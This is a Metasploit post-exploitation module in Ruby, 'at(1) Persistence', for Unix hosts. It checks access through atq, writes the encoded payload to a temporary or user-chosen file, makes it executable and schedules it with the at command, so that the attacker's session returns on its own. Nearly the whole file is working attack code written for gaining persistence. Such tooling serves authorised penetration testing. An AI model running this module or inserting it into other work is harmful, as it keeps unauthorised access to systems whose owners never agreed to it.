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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'at(1) Persistence',
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        'Description' => %q{
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          This module achieves persistence by executing payloads via at(1).
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Jon Hart <[email protected]>'
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        ],
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        'Targets' => [['Automatic', {} ]],
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        'DefaultTarget' => 0,
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        'Platform' => %w[unix],
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        'Arch' => ARCH_CMD,
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        'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
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        'Notes' => {
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          'Reliability' => [REPEATABLE_SESSION],
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
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        }
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      )
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    )
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    register_options([
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      OptString.new('TIME', [false, 'When to run job via at(1).  Changing may require WfsDelay to be adjusted.', 'now'])
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    ])
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    register_advanced_options([
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      OptString.new('PATH', [false, 'Path to store payload to be executed by at(1).  Leave unset to use mktemp.'])
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    ])
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  end
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  def check
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    token = Rex::Text.rand_text_alphanumeric(8)
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    if cmd_exec("atq && echo #{token}").include?(token)
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      CheckCode::Vulnerable
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    else
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      CheckCode::Safe
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    end
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  end
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  def exploit
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    unless check == Exploit::CheckCode::Vulnerable
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      fail_with(Failure::NoAccess, 'User denied cron via at.deny')
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    end
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    unless (payload_file = (datastore['PATH'] || cmd_exec('mktemp')))
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      fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
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    end
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    write_file(payload_file, payload.encoded)
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    register_files_for_cleanup(payload_file)
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    cmd_exec("chmod 700 #{payload_file}")
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    cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
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    print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
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  end
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end
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